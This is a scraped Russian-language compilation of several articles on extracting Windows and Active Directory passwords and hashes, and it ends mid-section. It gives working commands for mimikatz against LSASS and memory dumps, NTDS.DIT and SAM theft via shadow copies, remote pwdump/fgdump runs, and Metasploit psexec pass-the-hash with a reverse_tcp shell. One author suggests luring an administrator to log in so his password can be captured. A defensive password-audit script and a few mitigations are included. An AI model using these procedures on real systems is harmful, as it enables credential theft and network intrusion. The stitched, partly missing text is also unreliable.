Разное

Как узнать пароли доменных пользователей: Просмотр паролей в AD? — Хабр Q&A

Содержание

Как узнать пароль администратора домена

Всем привет ранее я рассказывал как можно взломать контроллер домена и произвести сброс пароля администратора домена, но там нужно иметь физический доступ серверу либо к хосту виртуализации, да и все это будет сразу обнаружено, так как придется контроллер домена выключать. Все можно сделать гораздо более изящнее и без шумно. В результате того метода, что я вам расскажу вы сможете узнать пароль пользователя, а в идеале и системного администратора, главное правильно это организовать. Вся информация предоставляется исключительно в ознакомительных целях, чтобы администраторы безопасности имели представление, как защититься от такой проблемы.

Получить пароль администратора домена

Большинство системных администраторов пребывают в уверенности, что Windows не хранит пароли пользователей в открытом виде, а только в виде его хэша. И хотя на сегодня существует большое количество утилит, способных извлечь хэши пользовательских паролей из системы, можно с определенной уверенностью сказать, что при использовании достаточно сложного пароля не «из словаря», у злоумышленника практически нет шансов подобрать его прямым брутфорсом или по базе уже рассчитанных хэшей.

В принципе, это так, но есть различные нюансы, касающиеся пользователей, залогиненых в системе.  Дело в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши.

Так, например, механизм дайджест-аутентификации (HTTP Digest Authentication), используемый для поддержки SSO (Single Sign On), для своей работы требует знания вводимого пароля пользователя, а не только его хеша (о том, почему разработчиками это было сделано именно так, можно только догадываться).  Пароли (именно пароли, а не их хэши) пользователей в зашифрованной форме хранятся в памяти  ОС, а если быть более точным в процессе LSASS.EXE. Проблема в том, что шифрование паролей реализовано с помощью стандартных функций Win32 LsaProtectMemory и LsaUnprotectMemory, которые предназначены для шифрования/расшифровки некоторого участка памяти. Утилита французских разработчиков mimikatz позволяет получать зашифрованные данные из памяти и расшифровывать их с помощью функции LsaUnprotectMemory, позволяя вывести на консоль все учетные записи пользователей, авторизованных в системе,  и их пароли (в открытом, уже расшифрованном виде!). Для эксплуатации уязвимости атакующий должен иметь возможность присоединить специальную библиотеку к процессу lsass.exe.

И так все это вода сверху. смысл всего этого сводится к тому, допустим есть терминальный сервер где программисты выполняют какие то вещи, и когда человек залогинен и имеет активную сессию то с помощью утилиты mimikatz можно вытащить его пароль. В идеале вы можете например попросить системного администратора что нибудь на сервере посмотреть, чаще всего они используют учетную запись администратора домена Active Directory, вот тут вы его и подловите.

Скачать утилиту mimikatz можно тут: http://blog.gentilkiwi.com/mimikatz либо по прямой ссылке с яндекс диска пароль на архив pyatilistnik.org

Извлекаем пароли пользователей из lsass.exe через rdp или интеративную сессию

Запускаем утилиту на сервере. У вас будет два варианта один для x86 другой для x64.

Как узнать пароль администратора домена-01

Если получили ошибку ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061, то нужно запустить от имени администратора. Если все ок то у вас появится консольное окно с утилитой.

Как узнать пароль администратора домена-02

Получить привилегии отладки. на что мы должны получить ответ, о том, что успешно включен режим отладки:Privilege ’20’ OK делается командой

Как узнать пароль администратора домена-03

Вывод команды с именами и паролями пользователей может оказаться более длинным чем вмещает консоль, поэтому лучше включить логирование в файл командой:

Как узнать пароль администратора домена-04

и далее команда для получения паролей

Там где null это значит что его просто нет.

Как узнать пароль администратора домена-05

Можно все экспортировать в файл с помощью команды

sekurlsa::logonpasswords /export

Как узнать пароль администратора домена-06

В итоге рядом с утилитой вы получите файл с паролями пользователей

Как узнать пароль администратора домена-07

Данная методика не сработает при наличии на системе современного антивируса, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти машины и уже на другой машине «вытянуть» из него пароли для сессий всех пользователей и сможете узнать администратора.

Получение пароля пользователя из дампа памяти Windows

Более без шумный вариант, вас не определит антивирусник и не привлечет внимание. Вам нужно создать windows minidump. Сделать minidump можно с помощью powershell, подгрузив модуль Out-Minidump.ps1.

Если у вас ругнется на то что не может запустить не подписанный скрипт, то как разрешить не подписанные скрипты я описывал тут

Далее вводим команду для монтирования minidump dmp

Get-Process lsass | Out-Minidump

Видим создался файл lsass_628.dmp это и есть наш minidump.

Как узнать пароль администратора домена-08

 

Как узнать пароль администратора домена-09

по умолчанию он сохраняется в каталоге %windir\system32%. Копируем его в папку с утилитой и выполняем следующие команды

sekurlsa::minidump lsass_628.dmp

И следующей командой получим список пользователей, работающих в системе и их пароли:

sekurlsa::logonPasswords /export

Как узнать пароль администратора домена-10

Все в итоге вы смогли узнать пароль администратора домена

Получение паролей из файлов виртуальных машины и файлов гибернации

Идем дальше. С помощью простых манипуляций злоумышленник может запросто извлечь пароли пользователей из файлов дампов памяти, файла гибернации системы и .vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем библиотеку mimikatz  с именем mimilib.dll (версию выбрать в зависимости от разрядности системы):

.load mimilib.dll

Ищем в дампе процесс lsass.exe:

!process 0 0 lsass.exe


Как узнать пароль администратора домена-11

И наконец, набираем

.process /r /p fffffa800e0b3b30
!mimikatz

и получаем список пользователей Windows и их пароли в открытом виде:

Как узнать пароль администратора домена-12

Получение паролей пользователей Windows в открытом виде с помощью утилиты Mimikatz работает на следующих системах, в том числе запущенных на гипервизорах Hyper-V 2008/2012 и VMWare различных версий:

  • Windows Server 2008 / 2008  R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Как защититься от получения пароля через mimikatz?

В качестве временного решения можно предложить отключить поставщика безопасности wdigest через реестр. Для этого в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa найдите ключ Security Packages и удалить из списка пакетов строку wdigest.

Как узнать пароль администратора домена-13

Однако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда поменять вернуть настройки обратно.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно терминальных, находящихся во владении третьих лиц).
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в столь рекламируемых сейчас облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором  расположены виртуальные машины.
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям

Вот так вот просто узнать пароль администратора домена. Материал сайта pyatilistnik.org

Восстанавливаем локальные и доменные пароли из hiberfil.sys / Хабр

Утилита mimikatz, позволяющая извлекать учётные данные Windows из LSA в открытом виде, существует с 2012 года, однако помимо хорошо освещённого функционала восстановления паролей из памяти работающей ОС у неё есть ещё одна довольно интересная возможность. Далее я приведу пошаговую инструкцию, как при помощи нехитрых действий извлечь учётные данные из файла hiberfil.sys.

Подготовка

Для осуществления задуманного нам понадобятся следующие утилиты:

Действия

1. Получаем файл hiberfil.sys с целевой машины.

2. Конвертируем файл в формат понятный WinDbg.

hibr2dmp.exe d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

Процесс может занять довольно продолжительное время

3. Запускаем WinDbg и открываем полученный файл.

File -> Open Crash Dump

4. Настраиваем отладочные символы.

Открываем File -> Symbol File Path… и вписываем следующую строчку:

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

Вместо c:\symbols, естественно, может быть любой каталог, в который будут загружены символы

В командной строке дебаггера пишем:

0: kd> .reload /n

Ждём окончания загрузки символов:

5. Указываем путь к библиотеке mimilib.dll (находится в каталоге с mimikatz).

0: kd> .load z:\Soft\Security\Passwords\Mimikatz\x64\mimilib.dll

6. Находим адрес процесса lsass.exe.

0: kd> !process 0 0 lsass.exe

В данном случае адрес: fffffa800a7d9060.

7. Переключаем контекст процесса.

0: kd> .process /r /p fffffa800a7d9060

8. Запускаем mimikatz и получаем пароли в открытом виде.

0:kd> !mimikatz

Ссылки по теме

Раскрытие учетных данных в Microsoft Windows: http://www.securitylab.ru/vulnerability/420418.php
LSA Authentication: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378326(v=vs.85).aspx
What is Digest Authentication: https://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx

Проверка паролей пользователей домена Windows на стойкость к атаке по словарю без компрометации пароля

Добрый день, коллеги. Хочу рассказать о полученном мной интересном опыте. Может быть кому-то пригодится.

В современном мире пароли используются повсеместно. На корпоративном компьютере, на личном телефоне и планшете, в почте и т.д. И казалось бы всем уже неоднократно объяснялось, что пароль должен быть стойким. Показывались рекомендации, что пароль не должен содержать личные данные, словарные слова, простые комбинации и т.д. Но тем не менее, еще множество людей продолжают использовать простые пароли. Что является не только нарушением требований безопасности, но представляет серьезную опасность как личным так и корпоративным данным.

Соответственно, возникает задача с помощью подручных средств, без установки сложного ПО, проверить пароли пользователей домена на стойкость к атаке по словарю. При этом, нужно сохранить конфиденциальность паролей. Т.е. чтобы проверяющий не видел пароли в открытом виде, но при этом мог однозначно сказать, что пароль является словарным словом.

В связи с тем, что у нас домен построен на базе Microsoft Windows, для решения этой задачи было решено сравнивать хеши паролей пользователей домена с хешами словаря. В целом такой подход можно применить к хешам из любых систем. Изменятся только методы получения хешей пользователей.


Хеши паролей пользователей в домене Windows можно получить из файла ntds.dit. Но в штатном режиме доступ к нему запрещен системой. С помощью Google была найдена возможность получить копию файла ntds.dit (содержащий в том числе и логины/хеши паролей пользователей домена) стандартными средствами контроллера домена.

Для получения копии ntds.dit используются возможности утилиты ntdsutil.exe. С ее помощью необходимо сделать снимок системы (Volume Shadow Service) и получить копию файла SYSTEM (в нем содержится ключ для извлечения хешей из базы ntds.dit).

Для создания копии выполняем следующие команды:

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\audit
ifm: quit
ntdsutil: quit

В результате работы появляется каталог С:\Audit. Внутри каталога присутствуют две папки: Active Directory и registry. Соответственно в первой лежит копия ntds.dit, а во второй копии веток реестра SYSTEM и SECURITY. Данные папки можно скопировать на другой компьютер или оставить на контроллере домена.

Далее необходимо извлечь из ntds.dit логины и пароли пользователей домена. Для этого воспользуемся маленькой утилитой ntds_decrypt. Взять ее можно по адресу ntds_decode.zip. Качаем архив, распаковываем. Получаем два файла. Собственно исполняемый файл и readme с описанием опций.

ntds_decode -s FILE -d FILE -m -i

    -s <FILE> : SYSTEM registry hive
    -d <FILE> : Active Directory database
    -m             : Machines (omitted by default)
    -i                : Inactive, Locked or Disabled accounts (omitted by default)

Для использования утилиты необходимо запустить командную строку с правами «Администратор». На файле cmd.exe кликаем правой кнопкой мыши и выбираем пункт «Запуск от имени Администратора». В командной строке запускаем утилиту:

ntds_decode -s C:\Audit\registry\SYSTEM -d "C:\Audit\Active Directory\ntds.dit"

Здесь мы запускаем утилиту с основными параметрами (пути до файлов ntds.dit и SYSTEM), т.к. нам не нужны заблокированные или отключенные учетные записи (опция -i), и учетные записи компьютеров (опция -m).

В результате, получаем файл hashes.txt. Формат файла аналогичен формату pwdump и принимается большинством программ брутфорсеров (типа L0phtCrack). Формат файла такой:

<username>:<rid>:<lm hash>:<ntlm hash>:<description>:<home directory>

Собственно в файле hashes.txt нам интересны в первую очередь поля «username» и «ntlm hash».

Хорошо, мы получили исходные данные. Теперь нам нужен словарь. Я взял один из словарей в Интернете на 9 миллионов слов размером 92 Мб. Однако хотелось бы немного его расширить типовыми шаблонами. Например, добавить в конце пару цифр, поменять регистр букв и т.д. Для этой операции замечательно подошел старый добрый John the Ripper. В его функционале есть возможность произвести мутацию словаря по определенным правилам. Я решил не ограничивать возможности JtR и запустил его в стандартном варианте со всеми возможными мутациями.

john --wordlist=9mil.txt --rules dict.txt

После некоторого времени у меня получился файл dict.txt содержащий примерно 131 миллион слов. Теперь для слов нужно получить NTLM хеши. Т.к. сравнивать мы хотели именно хеш с хешем. Для расчета NTLM хешей словаря воспользуемся набором утилит HashManager. Взять его можно по адресу HashManager. Кстати в его составе также есть утилиты для мутации словарей. Но нам понадобится замечательная утилита GenerateHashList. Она генерирует хэши для всех паролей в исходном файле.

В распакованном архиве переходим в папку Bonus — GenerateHashList. И запускаем в командной строке bat файл с параметрами:

generate.bat NTLM dict.txt

Через некоторое (продолжительное ) время получим файл dictionary.txt, содержащий хеши словаря. Объем файла примерно 4.3 Гб. Это очень большой файл. И в идеале нужно уже переходить к использованию SQL, но не хотелось, т.к. это не подходило под требования по возможности использовать подручные средства не требующие установки сложного ПО.

Тогда, для начала, решено было использовать возможности Windows. А именно, утилиту FINDSTR. Данная утилита позволяет искать строку в файле и является обновленной версией утилиты FIND. Воспользовавшись Google было найдено решение, которое считывало хеш из файла hashes.txt и искало его в файле dictioanry.txt. Собственно, вот команда:

(for /f "usebackq tokens=1,4 delims==:" %%i in ("hashes.txt") do FINDSTR /I /B "%%j" Dictionary_sort.txt && Echo %%i>>"audit.txt" && Echo %%i %%j>>"audit_full.txt")

Результатом работы утилиты будет два файла:

— audit.txt, содержащий только логины пользователей, чьи хеши паролей были найдены в словаре

— audit_full.txt содержащий кроме логина еще и сам хеш. Это на тот случай если у пользователя возникнут сомнения в том, что хеш был найден в словаре.

Имеющийся файл hashes.txt содержал примерно 20 000 строк. Запустив утилиту find я обнаружил, что поиск одного хеша в словаре занимает около 40 секунд на моем ноутбуке Lenovo X220. Прикинув количество имеющихся строк и среднее время поиска получилось, что на поиск всех хешей уйдет в районе 10 дней. Правда результат можно видеть и в процессе. Так как найденные хеши сразу попадают в файл audit.txt. На более мощном компьютере скорость будет повыше, но не на много. Линейный поиск достаточно трудоемкий. И время поиска напрямую зависит от объема словаря. В общем — это рабочий вариант, но неудобный.

Тогда было решено написать свой скрипт поиска. Я давно интересовался Python и совсем недавно, просматривая в Youtube лекции Гарварда CS50, вспомнил про алгоритм бинарного поиска и решил попробовать реализовать его для поиска хешей в словаре. Ну что, поехали!

Для начала нужно отсортировать словарь. Это необходимо для осуществления бинарного поиска и кроме этого позволит еще больше обеспечить сохранность пароля. Так как после сортировки нельзя будет однозначно сопоставить хеш словаря со словом. Исходя из поставленной цели, использовать подручные средства, воспользуемся утилитой SORT из состава Windows. В командной строке запускаем команду:

sort dictionary.txt > dictionary_sort.txt

Получили отсортированный словарь хешей. Теперь сам скрипт. Я не специалист в Python, я только учусь, поэтому с помощью Google и разных нецензурных слов собрал скрипт и заставил его работать. Естественно скрипт не оптимален и страшно выглядит, но работает. В качестве параметров ему передается путь к файлу hashes.txt, путь к файлу словаря, и путь для записи результата (audit.txt, audit_full.txt).

Формат запуска:

PassAudit.exe -i c:\audit\hashes.txt -d c:\audit\dictionary_sort.txt -o c:\audit\

Вот сам скрипт:

import argparse
#Создаем поля для парсера
parser = argparse.ArgumentParser(description='This script testing passwords against dictioanry attack. '
                                             'It takes hashes from file and compares to hashes in dictionary.'
                                             'Accounts with weak password outputs into the file audit.txt '
                                             'and audit_full.txt. You can not get clear password from hash.'
                                             'To get hashes from domain controller you should execute next commands'
                                             'at command prompt on domain controller: '
                                             'cd c:\\ -> ntdsutil "activate instance ntds" ifm "create full c:\\pentest" quit quit'
                                             ' -> cd c:\\password\\ -> ntds_decode -s c:\\pentest\\registry\\SYSTEM '
                                             '-d \"c:\\pentest\\Active Directory\\ntds.dit\"  '
                                             'After that you will get file hashes.txt. ntds_decode.exe you can get here: '
                                             'http://www.insecurety.net/downloads/pwdtools/ntds_decode.zip '
                                             'Dictionary hashes file must be sorted and formated one hash per line. '
                                             'You can make it from any dictionary with John the Ripper and Hash manager '
                                             'or any other programs. Copyright Handy761. 2016')
parser.add_argument('-i', '--input', help='Full path to hashes file', required=True)
parser.add_argument('-d', '--dictionary', help='Full path to dictionary file', required=True)
parser.add_argument('-o', '--output', help='Path to output files', required=True)
args = parser.parse_args()
#Открываем файлы hashes.txt и словарь
f0 = open(args.input)
f = open(args.dictionary)
#Формируем пути для открытия файлов результатов
result_file_path0 = args.output + '\\' + 'Audit.txt'
#Открываем файл результата Audit
r0 = open(result_file_path0, "w")
result_file_path2 = args.output + '\\' + 'Audit_full.txt'
#Открываем файл результата Audit_full
r = open(result_file_path2, "w")
#Создаем переменную для хеша пользователя
pass_hash = ''
#Запускаем цикл поиска
while True:
#Устанавливаем указатель на конец файла
    f.seek(0, 2)
#Задаем начальный указатель в словаре
    begin = 0
#Задаем конечный указатель в словаре
    end = f.tell()
#Т.к. указатели на байты, а у нас строки то будем конвертировать байты в строки. Задаем номер начальной строки
    lines_begin = 0
#Задаем номер конечной строки. Т.к. длина строки 32 байта плюс перевод строки делим на 34
    lines_end = end / 34
#Считываем из фала Hashes.txt строку и проверяем на конец файла
    pass_line = f0.readline()
    if ("" == pass_line):
        print("file finished")
        break
#Парсим строку на элементы. Разделитель :
    pass_line_parse = pass_line.split(":")
#Выбираем поле ntlm_hash и прибавляем к нему символ перевода строки. Т.к. в словаре строки оканчиваются переводом строки.
    pass_hash = pass_line_parse[3] + '\n'
#Создаем переменную для указателя на середину диапазона поиска
    point1 = 100
#Пока указатель на середину диапазона больше 1, будем искать.
    while (point1 > 1):
#Вычисляем середину диапазона
        point1 = (lines_end - lines_begin) // 2
#Если у нас указатель на начало диапазона строк больше нуля, то полученное значение середины диапазона прибавляем к этому указателю и умножаем на 34 для получения смешения в байтах
        if lines_begin > 0:
            point = (lines_begin + point1) * 34
        else:
            point = point1 * 34
#Устанавливаем указатель в файле словаря на середину диапазона
        f.seek(point, 0)
#Считываем строку из словаря
        line_key = f.readline()
#Сравниваем значение из словаря со значением из файла hashes.txt и если совпало, то выводим в файлы и на экран. Иначе определяем, где искомое значение (выше или ниже), чтобы понять какую половину отбросить и соответственно сдвинуть указатели на начало и конец диапазона. После этого начинаем сначала.
        if pass_hash == line_key:
            print(pass_line_parse[0], line_key)
            r.write(pass_line_parse[0])
            r.write(' ')
            r.write(line_key)
            r0.write(pass_line_parse[0])
            r0.write('\n')
            break
        elif pass_hash > line_key:
            begin = f.tell()
            lines_end = end / 34
            lines_begin = begin / 34
        else:
            end = f.tell()
            lines_end = end / 34
            lines_begin = begin / 34
#По окончанию закрываем все файлы
f.close()
f0.close()
r.close()
r0.close()

Для удобства я скомпилировал скрипт в exe-файл. После запуска, на том же самом наборе данных, время перебора составило порядка 3 минут.

Все перечисленные здесь манипуляции по получению хешей паролей пользователей домена и проверке их по словарю достаточно неплохо автоматизируются в скрипт. Генерация хешей словаря операция разовая и производится по необходимости.

Таким образом, можно настроить скрипт, который на регулярной основе будет выгружать хеши паролей пользователей из контроллера домена, проверять их по словарю и отправлять результат в службу технической поддержки для оповещения пользователей о слабом пароле.

Возможно все это можно было сделать проще, быстрее и красивее, но в любом случае это был интересный опыт.

Как сдампить хеши паролей от учеток Windows-системы — «Хакер»

Содержание статьи

Эта статья представляет собой полный сборник рецептов, описывающих, как сдампить хеши пользовательских паролей, восстановить исходный пасс путем выполнения брутфорса и получить с помощью извлеченного хеша доступ к защищенным ресурсам, используя недоработки протокола аутентификации NTLM. Минимум теории — только практика. Мы собрали все в одном месте и создали полный мануал.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

 

Где пароли?

Сразу отвечу на вопрос о том, где хранятся хеши паролей в системе. В общем случае их можно извлечь из трех мест:

  • из локальной SAM-базы, где хранятся LM/NTLM-хеши локальных пользователей;
  • из кеша LSA, в который попадают LM/NTLM-хеши доменных пользователей, стираемые после перезагрузки;
  • из специального кеша, где сохраняются MSCache-хеши паролей десяти последних пользователей, которые авторизовались на данном хосте (пароли кешируются, чтобы можно было войти в систему, если связь с доменом временно отсутствует).

Если используется контроллер домена, есть еще AD-хранилище. Важно понимать одно: из каждого указанного места пароли можно сдампить! Большинство приведенных ниже приемов давно известны, но мы решили сделать своего рода полный сборник рецептов, к которому ты всегда сможешь обратиться при необходимости. Ниже 7 готовых к употреблению рецептов.

 

PwDump и fgdump

Начнем с ситуации, когда у нас есть физический доступ к интересующей нас системе. В этом случае NTLM/LM-хеши можно сдампить с помощью специальных утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они необходимы для DLL-инжекта с помощью SeDebugPrivilege. Будем для простоты считать, что у нас есть аккаунт с правами администратора (а еще лучше NT AUTHORITY\SYSTEM).

Получаем хэши локальных пользователей при помощи pwdump

Если имеется физический доступ, сдамить хеши довольно просто: есть много способов, к тому же всегда можно загрузить с флешки (или LiveCD), например, Kon-Boot, чтобы войти в систему под любым пользователем. Есть и много других хаков (в том числе для повышения привилегий до NT AUTHORITY\SYSTEM с локального админа), о которых мы не раз писали в рубрике EasyHack в прошлом году. Но вернемся к процессу извлечения хешей. Самыми известными утилитами для создания дампа хешей являются pwdump и fgdump. Работать с этими тулзами достаточно просто, да и по функционалу они очень похожи. Для дампа хешей достаточно просто запустить проги:

pwdump localhost
fgdump.exe

Первая утилита выводит найденные хеши непосредственно в консоль. Вторая же сохраняет результат в файлах 127.0.0.1.PWDUMP (хеши паролей локальных пользователей) и 127.0.0.1.CACHEDUMP (закешированные хеши паролей доменных пользователей).

Одна из наиболее интересных опций, которую поддерживают обе утилиты, позволяет дампить хеши с удаленных машин. Чтобы провернуть этот фокус, скажем, с помощью pwdump, надо выполнить:

> pwdump -o mytarget.log -u MYDOMAIN\someuser -p \
   'lamepassword' 10.1.1.1

Здесь 10.1.1.1 — адрес удаленной машины, MYDOMAIN\someuser — аккаунт пользователя, lamepassword — пароль пользователя, а mytarget.log — файл для сохранения результатов. В отличие от pwdump, fgdump умеет дампить хеши не только с одной машины, а сразу с нескольких:

> fgdump.exe -f hostfile.txt -u MYDOMAIN\someuser -T 10

В данном случае hostfile.txt — файл, содержащий список хостов, «-T 10» — количество параллельно работающих потоков. Полученный хеш можно попробовать сбрутфорсить с помощью специальных утилит, чтобы узнать исходный пасс (ищи целую подборку подходящих тулз на врезке).

Примечательно, что некоторые из них для большего удобства поддерживают формат вывода fgdump.exe.

 

Дамп паролей с помощью Volume Shadow Copy Service

Если утилитам вроде pwdump и fgdump сто лет в обед, то способ дампинга паролей, о котором пойдет речь далее, появился относительно недавно. Что круче всего, он вообще не требует сторонних инструментов и задействует только возможности самой системы. Как мы уже знаем, хеши паролей локальных пользователей хранятся в том числе и в файле SAM, правда, в зашифрованном виде. Поэтому, чтобы прочитать их, требуется еще один файл — SYSTEM. Эти два файла представляют собой системные ветви реестра, которые ОС постоянно использует, поэтому доступ к ним невозможен даже из-под администратора. Из-за этого многим приложениям, которые извлекают хеши паролей, приходится идти на ухищрения, чтобы получить доступ к этим ветвям. Мы же, чтобы скопировать эти файлы, воспользуемся легальным механизмом, который предоставляет сама ОС. Этот механизм, позволяющий делать «мгновенный снимок» тома, называется Volume Shadow Copy Service (теневое копирование тома). Он появился в ОС Windows начиная с версий XP и Server 2003. Эта технология автоматически используется, например, при создании архива System State с помощью утилиты ntbackup или при создании снимка для общей папки (Volume Shadow Copy for Shared Folders). Суть идеи состоит в том, что при теневом копировании будут созданы копии важных системных файлов (в частности, SAM и SYSTEM), доступ к которым мы сможем легко получить. Чтобы избавиться от лишней работы в консоли, воспользуемся небольшим скриптиком vssown.vbs, управляющим созданием копий. Сценарий ты найдешь на нашем диске. Для начала запускаем сервис теневого копирования: cscript vssown.vbs /start. Затем создаем новую теневую копию: cscript vssown.vbs /create. Теперь смотрим список всех теневых копий: cscript vssown.vbs /list.

Созданная нами копия будет самой последней. Из всей информации нас интересует Device object со значением «\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14» (здесь 14 — номер теневой копии). Дальнейшие манипуляции предельно просты.

  1. Копируем интересующие нас файлы:copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SYSTEM . copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\ windows\system32\config\SAM .
  2. Все, теперь эти файлы можно скормить какой-нибудь утилите типа SAMInside для расшифровки полученных хешей.

 

Дамп паролей всех пользователей домена!

Интересно, что используя предыдущий прием, можно легко слить хеши паролей не только локальных, но и вообще всех доменных пользователей! Правда, только если у нас есть доступ к контроллеру домена. Предположим, мы создали теневую копию и скопировали файлы SAM и SYSTEM. Active Directory хранит данные о пользователях в файле NTDS.DIT, так что нужно скопировать и его:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\
windows\ntds\ntds.dit .

Данные о пользователях хранятся в зашифрованном виде, поэтому их нужно будет расшифровывать с помощью файла SYSTEM. Итак, что мы имеем? У нас есть файлы SYSTEM и NTDS.DIT, но как нам получить список пользователей и их хешей? До недавнего времени это было непросто, так как бесплатных утилит, способных распарсить NTDS.DIT и расшифровать хеши, не существовало. Но недавно исследователь по имени Csaba Barta выпустил тулкит, который умеет разбирать файл NTDS.DIT и извлекать оттуда хеши. Весь инструментарий доступен по адресу csababarta.com/downloads/ntdsdumphash.zip Посмотрим, как этот тулкит работает. Для дальнейших манипуляций будем использовать BackTrack5 (подойдет любой другой Linux-дистрибутив), хотя все то же самое можно провернуть и под виндой. Загружаемся, скачиваем архив тулкита и распаковываем его. Далее собираем библиотеку libesedb:

cd libesedb
chmod +x configure
./configure && make

Теперь можно приступать к дампу хэшей. Прежде всего извлекаем таблицу, содержащую зашифрованные данные:

cd esedbtools
./esedbdumphash ../../ntds.dit

У нас появился файл /libesedb/esedbtools/ntds.dit.export/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, который содержится в SYSTEM:

cd ../../creddump/
python ./dsdump.py ../SYSTEM 
  ../libesedb/esedbtools/ntds.dit.export/datatable

Готово! На выходе получаем хеши всех пользователей домена! Интересно, что можно извлечь еще и предыдущие пароли пользователей (их хеши). Для этого в инструментарии имеется отдельная утилита, которую легко задействовать:

python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Если их удастся взломать, вполне можно проследить закономерность, в соответствии с которой пользователь меняет свои пароли (она очень часто существует).

 

HashGrab2 + samdump2

Чтобы сдампить хеши, необязательно логиниться в системе. Опять же, если есть физический доступ к компьютеру, то можно не только загрузить с LiveCD утилиту для сброса пароля (скажем, Offline NT Password & Registry Editor), но и легко сдампить хеши с помощью специального софта — еще бы, ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуемся утилитами HashGrab2 и samsump2, которые можно запустить практически из любого LiveCD-дистрибутива. HashGrab2 автоматически монтирует все Windows-разделы, которые может найти, и при помощи samdump2 извлекает логины и хеши паролей из файлов SAM и SYSTEM. Вот как это выглядит на практике:

> sudo ./hashgrab2.py 
HashGrab v2.0 by s3my0n
http://InterN0T.net
Contact: RuSh5ck3R[at]gmail[dot]com
[*] Mounted /dev/sda1 to /mnt/jomAT8
[*] Mounted /dev/sdb1 to /mnt/AZwJUs
[*] Copying SAM and SYSTEM files...
[*] Unmounting partitions...
[*] Deleting mount directories...
[*] Deleting ['./jomAT8']
>$ ls 
hashgrab2.py  jomAT8.txt
>$ cat ./jomAT8.txt 
Administrator:HASH
Guest:501:HASH
s3my0n:1000:HASH
HomeGroupUser$:1002:HASH

Полученные хеши тут же можно скормить брутфорсеру.

 

Выключаем кеширование хешей паролей

Как известно, Windows кеширует хеши паролей и логины доменных пользователей, что позволяет зайти на машину, если контроллер домена отключен и недоступен. Если пользователь вводит правильный логин и пароль, то при авторизации система сохраняет хеш пароля на диске. Как ты сам понимаешь, держать такие данные на диске — не самое лучшее решение с точки зрения безопасности, так что эту функцию лучше отключить. Для этого необходимо установить ключ HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\cachedlogonscount в значение «0». Затем надо перезагрузить компьютер, чтобы удалить все закешированные ранее пароли. С этого момента винда не будет кешировать пароли пользователей домена.

 

Возможности Metasploit

Допустим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Meterpreter. В Metasploit Framework уже встроен функционал для извлечения списка пользователей и хешей паролей. Делается это в одну команду:

meterpreter > run post/windows/gather/hashdump

В результате мы получаем список пользователей и хешей. Но останавливаться на достигнутом не стоит. Metasploit — штука многофункциональная, поэтому можно попробовать использовать полученные хеши для доступа к другим компьютерам в сети жертвы — вдруг подойдут. Для этого пригодится модуль PsExec:

meterpreter > use exploit/windows/smb/psexec
meterpreter > set payload windows/meterpreter/reverse_tcp
meterpreter > set rhost [адрес удаленного хоста]
meterpreter > set smbpass [ранее полученный хеш пользователя]
meterpreter > set smbuser [логин пользователя]
meterpreter > set lhost [адрес локальной машины]
meterpreter > exploit
meterpreter > shell — получили шелл на удаленной машине

Как видишь, все происходит автоматически, без всяких сложностей. Чтобы дальше ковыряться с любыми файлами системы, полезно сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда getsystem. Этот модуль попробует поднять права в ОС, используя уязвимости MS09-012, а также нашумевшую уязвимость MS10-015 (KiTrap0D) и не только.

Cain&Abel — еще одна замечательная тулза для брутфорса NTML хэшей
(кроме этого поддерживает взлом хэшей большого количества других алгоритмов)

 

Техника Pass-the-Hash

